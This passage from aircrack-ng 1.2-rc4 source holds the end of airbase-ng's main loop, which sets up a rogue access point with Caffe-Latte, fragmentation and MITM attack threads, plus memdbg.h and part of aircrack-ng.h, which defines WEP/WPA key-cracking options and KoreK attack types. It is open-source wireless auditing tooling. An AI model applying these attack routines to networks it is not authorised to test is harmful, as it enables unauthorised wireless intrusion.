printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 's' : opt.forceska = 1; break; case 'f' : if( strncasecmp(optarg, "allow", 5) == 0 || strncmp(optarg, "0", 1) == 0 ) { opt.filter = ALLOW_MACS; //block all, allow the specified macs } else if( strncasecmp(optarg, "disallow", 5) == 0 || strncmp(optarg, "1", 1) == 0 ) { opt.filter = BLOCK_MACS; //allow all, block the specified macs } else { printf( "Invalid macfilter mode. [allow|disallow]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'S' : if(atoi(optarg) < 16 || atoi(optarg) > 1480) { printf( "Invalid challenge length. [16-1480]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.skalen = atoi(optarg); break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; break; case 'W' : if(atoi(optarg) < 0 || atoi(optarg) > 1) { printf( "Invalid argument for (-W). Only \"0\" and \"1\" allowed.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.setWEP = atoi(optarg); break; case 'M' : opt.mitm = 1; break; case 'L' : opt.caffelatte = 1; break; case 'y' : opt.nobroadprobe = 1; break; case 'Y' : if( strncasecmp(optarg, "in", 2) == 0 ) { opt.external |= EXT_IN; //process incomming frames } else if( strncasecmp(optarg, "out", 3) == 0) { opt.external |= EXT_OUT; //process outgoing frames } else if( strncasecmp(optarg, "both", 4) == 0 || strncasecmp(optarg, "all", 3) == 0) { opt.external |= EXT_IN | EXT_OUT; //process both directions } else { printf( "Invalid processing mode. [in|out|both]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'q' : opt.quiet = 1; if( opt.verbose != 0 ) { printf( "Don't specify -v and -q at the same time.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'w' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WEP; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid WEP key.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.wepkey[i++] = n; if( i >= 64 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 5 && i != 13 && i != 16 && i != 29 && i != 61 ) { printf( "Invalid WEP key length.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.weplen = i; break; case 'F': if (opt.dump_prefix != NULL) { printf( "Notice: dump prefix already given\n" ); break; } /* Write prefix */ opt.dump_prefix = optarg; opt.record_data = 1; break; case 'd': if(getmac(optarg, 1, mac) == 0) { addMAC(rClient, mac); } else { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if(opt.filter == -1) opt.filter = ALLOW_MACS; break; case 'D': if(addMACfile(rClient, optarg) != 0) return( 1 ); if(opt.filter == -1) opt.filter = ALLOW_MACS; break; case 'b': if(getmac(optarg, 1, mac) == 0) { addMAC(rBSSID, mac); } else { printf( "Invalid BSSID address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if(opt.filter == -1) opt.filter = ALLOW_MACS; break; case 'B': if(addMACfile(rBSSID, optarg) != 0) return( 1 ); if(opt.filter == -1) opt.filter = ALLOW_MACS; break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'H' : printf( usage, getVersion("Airbase-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Airbase-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( ( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(opt.f_bssid, NULL_MAC, 6) == 0 ) ) { printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.mitm && (getMACcount(rBSSID) != 1 || getMACcount(rClient) < 1) ) { printf("Notice: You need to specify exactly one BSSID (-b)" " and at least one client MAC (-d)\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.wpa1type && opt.wpa2type ) { printf("Notice: You can only set one method: WPA (-z) or WPA2 (-Z)\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } // if( opt.sendeapol && !opt.wpa1type && !opt.wpa2type ) // { // printf("Notice: You need to specify which WPA method to use" // " together with EAPOL. WPA (-z) or WPA2 (-Z)\n"); // printf("\"%s --help\" for help.\n", argv[0]); // return( 1 ); // } if( opt.allwpa && (opt.wpa1type || opt.wpa2type) ) { printf("Notice: You cannot use all WPA tags (-0)" " together with WPA (-z) or WPA2 (-Z)\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( 1 ) { if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( dev.fd_rtc > 0 ) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } } #endif /* linux */ #endif /* __i386__ */ /* open the replay interface */ _wi_out = wi_open(argv[optind]); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; } /* drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } /* XXX */ if( opt.r_nbpps == 0 ) { if( dev.is_wlanng || dev.is_hostap ) opt.r_nbpps = 200; else opt.r_nbpps = 500; } if (opt.record_data) if( dump_initialize( opt.dump_prefix ) ) return( 1 ); if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } dev.dv_ti = ti_open(NULL); if(!dev.dv_ti) { printf( "error opening tap device: %s\n", strerror( errno ) ); return -1; } if(!opt.quiet) { PCT; printf( "Created tap interface %s\n", ti_name(dev.dv_ti)); } //Set MTU on tun/tap interface to a preferred value if(!opt.quiet) { PCT; printf( "Trying to set MTU on %s to %i\n", ti_name(dev.dv_ti), opt.ti_mtu); } if( ti_set_mtu(dev.dv_ti, opt.ti_mtu) != 0) { if(!opt.quiet) { printf( "error setting MTU on %s\n", ti_name(dev.dv_ti)); } opt.ti_mtu = ti_get_mtu(dev.dv_ti); if(!opt.quiet) { PCT; printf( "MTU on %s remains at %i\n", ti_name(dev.dv_ti), opt.ti_mtu); } } //Set MTU on wireless interface to a preferred value if( wi_get_mtu(_wi_out) < opt.wif_mtu ) { if(!opt.quiet) { PCT; printf( "Trying to set MTU on %s to %i\n", _wi_out->wi_interface, opt.wif_mtu); } if( wi_set_mtu(_wi_out, opt.wif_mtu) != 0 ) { opt.wif_mtu = wi_get_mtu(_wi_out); if(!opt.quiet) { printf( "error setting MTU on %s\n", _wi_out->wi_interface); PCT; printf( "MTU on %s remains at %i\n", _wi_out->wi_interface, opt.wif_mtu); } } } if(opt.external) { dev.dv_ti2 = ti_open(NULL); if(!dev.dv_ti2) { printf( "error opening tap device: %s\n", strerror( errno ) ); return -1; } if(!opt.quiet) { PCT; printf( "Created tap interface %s for external processing.\n", ti_name(dev.dv_ti2)); printf( "You need to get the interfaces up, read the fames [,modify]\n"); printf( "and send them back through the same interface \"%s\".\n", ti_name(dev.dv_ti2)); } } if(opt.channel > 0) wi_set_channel(_wi_out, opt.channel); if( memcmp( opt.r_bssid, NULL_MAC, 6) == 0 && !opt.adhoc) { wi_get_mac( _wi_out, opt.r_bssid); } if( memcmp( opt.r_smac, NULL_MAC, 6) == 0 ) { wi_get_mac( _wi_out, opt.r_smac); } if(opt.adhoc) { for(i=0; i<6; i++) //random cell opt.r_bssid[i] = rand() & 0xFF; //generate an even first byte if(opt.r_bssid[0] & 0x01) opt.r_bssid[0] ^= 0x01; } memcpy(apc.bssid, opt.r_bssid, 6); if( getESSIDcount() == 1 && opt.hidden != 1) { apc.essid = (char*) malloc(MAX_IE_ELEMENT_SIZE+1); apc.essid_len = getESSID(apc.essid); apc.essid = (char*) realloc((void *)apc.essid, apc.essid_len + 1); apc.essid[apc.essid_len] = 0x00; } else { apc.essid = "\x00"; apc.essid_len = 1; } apc.interval = opt.interval; apc.capa[0] = 0x00; if(opt.adhoc) apc.capa[0] |= 0x02; else apc.capa[0] |= 0x01; if( (opt.crypt == CRYPT_WEP && opt.setWEP == -1) || opt.setWEP == 1 ) apc.capa[0] |= 0x10; apc.capa[1] = 0x04; if(ti_set_mac(dev.dv_ti, opt.r_bssid) != 0) { printf("\n"); perror("ti_set_mac failed"); printf("You most probably want to set the MAC of your TAP interface.\n"); printf("ifconfig hw ether %02X:%02X:%02X:%02X:%02X:%02X\n\n\n", opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5]); } if(opt.external) { if(ti_set_mac(dev.dv_ti2, (unsigned char*)"\xba\x98\x76\x54\x32\x10") != 0) { printf("Couldn't set MAC on interface \"%s\".\n", ti_name(dev.dv_ti2)); } } //start sending beacons if( pthread_create( &(beaconpid), NULL, (void *) beacon_thread, (void *) &apc ) != 0 ) { perror("Beacons pthread_create"); return( 1 ); } if( opt.caffelatte ) { arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); if( pthread_create( &(caffelattepid), NULL, (void *) caffelatte_thread, NULL ) != 0 ) { perror("Caffe-Latte pthread_create"); return( 1 ); } } if( opt.cf_attack ) { if( pthread_create( &(cfragpid), NULL, (void *) cfrag_thread, NULL ) != 0 ) { perror("cfrag pthread_create"); return( 1 ); } } if( !opt.quiet ) { if(opt.adhoc) { PCT; printf("Sending beacons in Ad-Hoc mode for Cell %02X:%02X:%02X:%02X:%02X:%02X.\n", opt.r_bssid[0],opt.r_bssid[1],opt.r_bssid[2],opt.r_bssid[3],opt.r_bssid[4],opt.r_bssid[5]); } else { PCT; printf("Access Point with BSSID %02X:%02X:%02X:%02X:%02X:%02X started.\n", opt.r_bssid[0],opt.r_bssid[1],opt.r_bssid[2],opt.r_bssid[3],opt.r_bssid[4],opt.r_bssid[5]); } } for( ; ; ) { if(opt.s_file != NULL) { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { PCT; printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) ) { PCT; printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { PCT; printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } packet_recv( h80211, caplen, &apc, (opt.external & EXT_IN)); msleep( 1000/opt.r_nbpps ); continue; } FD_ZERO( &read_fds ); FD_SET( dev.fd_in, &read_fds ); FD_SET(ti_fd(dev.dv_ti), &read_fds ); if(opt.external) { FD_SET(ti_fd(dev.dv_ti2), &read_fds ); ret_val = select( MAX(ti_fd(dev.dv_ti), MAX(ti_fd(dev.dv_ti2), dev.fd_in)) + 1, &read_fds, NULL, NULL, NULL ); } else ret_val = select( MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1, &read_fds, NULL, NULL, NULL ); if( ret_val < 0 ) break; if( ret_val > 0 ) { if( FD_ISSET(ti_fd(dev.dv_ti), &read_fds ) ) { len = ti_read(dev.dv_ti, buffer, sizeof( buffer ) ); if( len > 0 ) { packet_xmit(buffer, len); } } if( opt.external && FD_ISSET(ti_fd(dev.dv_ti2), &read_fds ) ) { len = ti_read(dev.dv_ti2, buffer, sizeof( buffer ) ); if( len > 0 ) { packet_xmit_external(buffer, len, &apc); } } if( FD_ISSET( dev.fd_in, &read_fds ) ) { len = read_packet( buffer, sizeof( buffer ) ); if( len > 0 ) { packet_recv( buffer, len, &apc, (opt.external & EXT_IN)); } } } //if( ret_val > 0 ) } //for( ; ; ) ti_close( dev.dv_ti ); /* that's all, folks */ return( 0 ); } aircrack-ng-1.2-rc4/src/memdbg.h0000644000000000000000000002373012640667310015126 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This header file should be the LAST header file included within every * .c file within the project. If there are .h files that have actual * code in them, then this header should be the last include within that * .h file, and that .h file should be the last one included within the * .c file. * ****** NOTE ***** */ #if !defined (__MEM_DBG_H_) #define __MEM_DBG_H_ // values to use within the MemDbg_Validate() function. #define MEMDBG_VALIDATE_MIN 0 #define MEMDBG_VALIDATE_DEEP 1 #define MEMDBG_VALIDATE_DEEPER 2 #define MEMDBG_VALIDATE_DEEPEST 3 #include #include #if (!AC_BUILT || HAVE_UNISTD_H) && !_MSC_VER #include #endif #include #if defined (MEMDBG_ON) /* * This software was written by Jim Fougeron jfoug AT cox dot net * in 2013. No copyright is claimed, and the software is hereby * placed in the public domain. In case this attempt to disclaim * copyright and place the software in the public domain is deemed * null and void, then the software is Copyright (c) 2013 Jim Fougeron * and it is hereby released to the general public under the following * terms: * * This software may be modified, redistributed, and used for any * purpose, in source and binary forms, with or without modification. */ /* * memdbg.h * Memory management debugging (at runtime) * * memdbg contains routines detect, and report memory * problems, such as double frees, passing bad pointers to * free, most buffer overwrites. Also, tracking of non-freed * data, showing memory leaks, can also be shown. * * Compilation Options (provided from Makefile CFLAGS) * * MEMDBG_ON If this is NOT defined, then memdbg will * get out of your way, and most normal memory functions * will be called with no overhead at all. */ /* these functions can be called by client code. Normally Memdbg_Used() and * MemDbg_Display() would be called at program exit. That will dump a list * of any memory that was not released. The MemDbg_Validate() can be called * pretty much any time. That function will walk the memory allocation linked * lists, and sqwack if there are problems, such as overwrites, freed memory that * has been written to, etc. It would likely be good to call MemDbg_Validate() * within benchmarking, after every format is tested. * * TODO: Add a handle that can be passed to the MemDbg_Used() and MemDbg_Display() * and a function to get the 'current' state of memory as a handle. Thus, a * format self test could get a handle BEFORE starting, and then check after, and * ONLY show leaked memory from the time the handle was obtained, which was at the * start of the self test. Thus it would only show leaks from that format test. * * These functions are NOT thread safe. Do not call them within OMP blocks of code. * Normally, these would be called at program exit, or within things like format * self test code, etc, and not within OMP. But this warning is here, so that * it is known NOT to call within OMP. */ extern size_t MemDbg_Used(int show_freed); extern void MemDbg_Display(FILE *); extern void MemDbg_Validate(int level); extern void MemDbg_Validate_msg(int level, const char *pMsg); extern void MemDbg_Validate_msg2(int level, const char *pMsg, int bShowExData); /* these functions should almost NEVER be called by any client code. They * are listed here, because the macros need to know their names. Client code * should almost ALWAYS call malloc() like normal, vs calling MEMDBG_alloc() * If MEMDBG_alloc() was called, and MEMDBG_ON was not defined, then this * function would not be declared here, AND at link time, the function would * not be found. * NOTE, these functions should be thread safe in OMP builds (using #pragma omp atomic) * also note, memory allocation within OMP blocks SHOULD be avoided if possible. It is * very slow, and the thread safety required makes it even slow. This is not only talking * about these functions here, BUT malloc/free in general in OMP blocks. AVOID doing that * at almost all costs, and performance will usually go up. */ extern void *MEMDBG_alloc(size_t, char *, int); extern void *MEMDBG_realloc(const void *, size_t, char *, int); extern void MEMDBG_free(const void *, char *, int); extern char *MEMDBG_strdup(const char *, char *, int); #if !defined(__MEMDBG__) /* we get here on every file compiled EXCEPT memdbg.c */ #undef malloc #undef realloc #undef free #undef strdup #undef libc_free #undef libc_calloc #undef libc_malloc #define libc_free(a) do {if(a) MEMDBG_libc_free(a); a=0; } while(0) #define libc_malloc(a) MEMDBG_libc_alloc(a) #define libc_calloc(a) MEMDBG_libc_calloc(a) #define malloc(a) MEMDBG_alloc((a),__FILE__,__LINE__) #define calloc(a) MEMDBG_calloc((a),__FILE__,__LINE__) #define realloc(a,b) MEMDBG_realloc((a),(b),__FILE__,__LINE__) /* this code mimicks JtR's FREE_MEM(a) but does it for any MEMDBG_free(a,F,L) call (a hooked free(a) call) */ #define free(a) do { if (a) MEMDBG_free((a),__FILE__,__LINE__); a=0; } while(0) #define strdup(a) MEMDBG_strdup((a),__FILE__,__LINE__) #endif /* pass the file handle to write to (normally stderr) */ #define MEMDBG_PROGRAM_EXIT_CHECKS(a) do { \ if (MemDbg_Used(0) > 0) MemDbg_Display(a); \ MemDbg_Validate_msg2(MEMDBG_VALIDATE_DEEPEST, "At Program Exit", 1); } while(0) typedef struct MEMDBG_HANDLE_t { unsigned id; unsigned alloc_cnt; size_t mem_size; } MEMDBG_HANDLE; /* * these functions allow taking a memory snapshot, calling some code, then validating that memory * is the same after the code. This will help catch memory leaks and other such problems, within * formats and such. Simply get the snapshot, run self tests (or other), when it exits, check * the snapshot to make sure nothing leaked. */ /* returning a struct (or passing as params it not super efficient but this is done so infrequently that this is not an issue. */ MEMDBG_HANDLE MEMDBG_getSnapshot(int id); /* will not exit on leaks. Does exit, on memory overwrite corruption. */ void MEMDBG_checkSnapshot(MEMDBG_HANDLE); /* same as MEMDBG_checkSnapshot() but if exit_on_any_leaks is true, will also exit if leaks found. */ void MEMDBG_checkSnapshot_possible_exit_on_error(MEMDBG_HANDLE, int exit_on_any_leaks); /* * the allocations from mem_alloc_tiny() must call this function to flag the memory they allocate * so it is not flagged as a leak, by these HANDLE snapshot functions. 'tiny' memory is expected * to leak, until program exit. At that time, any that was not freed, will be shown as leaked. * THIS function is also thread safe. The other checkSnapshot functions are NOT thread safe. */ void MEMDBG_tag_mem_from_alloc_tiny(void *); #else /* NOTE, we DO keep one special function here. We make free a little * smarter. this function gets used, even when we do NOT compile with * any memory debugging on. This makes free work more like C++ delete, * in that it is valid to call it on a NULL. Also, it sets the pointer * to NULL, so that we can call free(x) on x multiple times, without * causing a crash. NOTE, the multiple frees SHOULD be caught when * someone builds and runs with MEMDBG_ON. But when it is off, we do * try to protect the program. */ #undef libc_free #undef libc_calloc #undef libc_malloc #define libc_free(a) do {if(a) MEMDBG_libc_free(a); a=0; } while(0) #define libc_malloc(a) MEMDBG_libc_alloc(a) #define libc_calloc(a) MEMDBG_libc_calloc(a) #if !defined(__MEMDBG__) /* this code mimicks JtR's FREE_MEM(a) but does it for any normal free(a) call */ //extern void MEMDBG_off_free(void *a); //#define free(a) do { if(a) MEMDBG_off_free(a); a=0; } while(0) #endif #define MemDbg_Used(a) 0 #define MemDbg_Display(a) #define MemDbg_Validate(a) #define MemDbg_Validate_msg(a,b) #define MemDbg_Validate_msg2(a,b,c) #define MEMDBG_PROGRAM_EXIT_CHECKS(a) #define MEMDBG_tag_mem_from_alloc_tiny(a) #define MEMDBG_HANDLE int #define MEMDBG_getSnapshot(a) 0 #define MEMDBG_checkSnapshot(a) if(a) printf(" \b") #define MEMDBG_checkSnapshot_possible_exit_on_error(a, b) if(a) printf(" \b") #endif /* MEMDBG_ON */ extern void MEMDBG_libc_free(void *); extern void *MEMDBG_libc_alloc(size_t size); extern void *MEMDBG_libc_calloc(size_t size); #endif /* __MEMDBG_H_ */ aircrack-ng-1.2-rc4/src/aircrack-ng.h0000644000000000000000000002364412656005044016055 0ustar rootroot/* * 802.11 WEP / WPA-PSK Key Cracker * * Copyright (C) 2007-2012 Martin Beck * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _AIRCRACK_NG_H #define _AIRCRACK_NG_H #include #include #include #include #if defined(__FreeBSD__) #include #endif #include "aircrack-ptw-lib.h" #include "eapol.h" #include #define SUCCESS 0 #define FAILURE 1 #define RESTART 2 #ifndef O_BINARY #define O_BINARY 0 #endif #define MAX_DICTS 128 #define ASCII_LOW_T 0x21 #define ASCII_HIGH_T 0x7E #define ASCII_VOTE_STRENGTH_T 150 #define ASCII_DISREGARD_STRENGTH 1 #define TEST_MIN_IVS 4 #define TEST_MAX_IVS 32 #define PTW_TRY_STEP 5000 #define KEYHSBYTES PTW_KEYHSBYTES #define MAX_THREADS 128 #define CLOSE_IT 100000 #define GENPMKMAGIC 0x43575041 struct hashdb_head { uint32_t magic; uint8_t reserved1[3]; uint8_t ssidlen; uint8_t ssid[32]; }; struct hashdb_rec { uint8_t rec_size; char *word; uint8_t pmk[32]; } __attribute__ ((packed)); struct _cpuinfo { int simdsize; /* SIMD size */ char *flags; /* Feature Flags */ char *model; /* CPU Model */ int cores; /* Real CPU cores */ int coreperid; /* Max cores per id */ int htt; /* Hyper-Threading */ int maxlogic; /* Max addressible lCPU */ int hv; /* Hypervisor detected */ int cpufreq_cur; /* CPUfreq Current */ int cpufreq_max; /* CPUfreq Maximum */ float coretemp; /* CPU Temperature */ char *cputemppath; /* Linux CPU Sensor Path*/ }; extern float chrono(struct timeval *start, int reset); extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int getmac(char * macAddress, int strict, unsigned char * mac); extern int readLine(char line[], int maxlength); extern int hexToInt(char s[], int len); extern int hexCharToInt(unsigned char c); extern int cpuid_simdsize(); extern int cpuid_getinfo(); extern struct _cpuinfo cpuinfo; extern int get_nb_cpus(); #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */ #define KEYLIMIT 1000000 #define N_ATTACKS 17 enum KoreK_attacks { A_u15, /* semi-stable 15% */ A_s13, /* stable 13% */ A_u13_1, /* unstable 13% */ A_u13_2, /* unstable ? 13% */ A_u13_3, /* unstable ? 13% */ A_s5_1, /* standard 5% (~FMS) */ A_s5_2, /* other stable 5% */ A_s5_3, /* other stable 5% */ A_u5_1, /* unstable 5% no good ? */ A_u5_2, /* unstable 5% */ A_u5_3, /* unstable 5% no good */ A_u5_4, /* unstable 5% */ A_s3, /* stable 3% */ A_4_s13, /* stable 13% on q = 4 */ A_4_u5_1, /* unstable 5% on q = 4 */ A_4_u5_2, /* unstable 5% on q = 4 */ A_neg /* helps reject false positives */ }; struct dictfiles { off_t dictsize; /* Total file size */ off_t dictpos; /* Current position of dictionary */ off_t wordcount; /* Total amount of words in dict file */ int loaded; /* Have finished processing? */ } dicts; struct options { int amode; /* attack mode */ int essid_set; /* essid set flag */ int bssid_set; /* bssid set flag */ char essid[33]; /* target ESSID */ unsigned char bssid[6]; /* target BSSID */ int nbcpu; /* # of cracker threads (= # of CPU) */ int is_quiet; /* quiet mode flag */ unsigned char debug[64]; /* user-defined WEP key */ int debug_row[64] ; /* user-defined Row WEP key */ unsigned char maddr[6]; /* MAC address filter */ int keylen; /* WEP key length */ int index; /* WEP key index */ float ffact; /* bruteforce factor */ int korek; /* attack strategy */ int is_fritz; /* use numeric keyspace */ int is_alnum; /* alphanum keyspace */ int is_bcdonly; /* binary coded decimal */ int do_brute; /* bruteforce last 2 KB */ int do_mt_brute; /* bruteforce last 2 KB multithreaded for SMP*/ int do_testy; /* experimental attack */ int do_ptw; /* PTW WEP attack */ char *dicts[MAX_DICTS]; /* dictionary files */ FILE *dict; /* dictionary file */ int nbdict; /* current dict number */ int no_stdin; /* if dict == stdin */ int hexdict[MAX_DICTS]; /* if dict in hex */ long long int wordcount; /* Total wordcount for all dicts*/ struct dictfiles dictidx[MAX_DICTS]; /* Dictionary structure */ int totaldicts; /* total loaded dictionaries */ int dictfinish; /* finished processing all dicts*/ int showASCII; /* Show ASCII version of*/ /* the wepkey */ int l33t; /* no comment */ int stdin_dict; int probability; /* %of correct answers */ int votes[N_ATTACKS]; /* votes for korek attacks */ int brutebytes[64]; /* bytes to bruteforce */ int next_ptw_try; int max_ivs; char *bssidmerge; unsigned char *firstbssid; struct mergeBSSID * bssid_list_1st; struct AP_info *ap; int wep_decloak; int ptw_attack; int visual_inspection; /* Enabling/disabling visual */ /* inspection of the different */ /* keybytes */ int oneshot; /* Do PTW once */ char * logKeyToFile; int forced_amode; /* signals disregarding automatic detection of encryption type */ char * wkp; /* EWSA Project file */ char * hccap; /* Hashcat capture file */ } opt; typedef struct { int idx, val; } vote; struct WEP_data { unsigned char key[64]; /* the current chosen WEP key */ unsigned char 